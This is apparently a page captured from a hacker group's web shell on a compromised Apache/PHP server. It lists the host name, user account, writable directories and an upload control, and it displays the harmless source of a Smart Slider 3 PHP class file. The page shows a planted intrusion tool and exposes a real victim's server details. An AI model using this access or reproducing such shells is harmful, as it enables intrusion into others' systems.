Google

Cyb3r Drag0nz Team Shell

Server : Apache
System : Linux server1.cbinetwhm.bi 4.18.0-553.123.1.el8_10.x86_64 #1 SMP Tue May 5 04:00:43 EDT 2026 x86_64
User : fenacobu (1017)
PHP Version : 8.1.34
Disable Functions : NONE
Current Directory : /home/fenacobu/www/libraries/smartslider3/src/SmartSlider3/SlideBuilder/
Directory Status: Writeable | Document Root: Writeable

Upload File







Viewing: /home/fenacobu/www/libraries/smartslider3/src/SmartSlider3/SlideBuilder/BuilderComponentCol.php

<?php


namespace Nextend\SmartSlider3\SlideBuilder;

class BuilderComponentCol extends AbstractBuilderComponent {

    protected $defaultData = array(
        "type"                   => 'col',
        "name"                   => 'Column',
        "colwidth"               => '1/1',
        "layers"                 => array(),
        "desktopportraitpadding" => '10|*|10|*|10|*|10|*|px'
    );

    /** @var AbstractBuilderComponent[] */
    private $layers = array();

    /**
     *
     * @param BuilderComponentRow                $container
     * @param                                    $width
     */
    public function __construct($container, $width = '1/1') {

        $this->defaultData['colwidth'] = $width;

        $container->add($this);
    }

    /**
     * @param $layer AbstractBuilderComponent
     */
    public function add($layer) {
        $this->layers[] = $layer;
    }

    public function getData() {
        $this->data['layers'] = array();
        foreach ($this->layers as $layer) {
            $this->data['layers'][] = $layer->getData();
        }

        return parent::getData();
    }
}

Cyb3r Drag0nz Team • Google Edition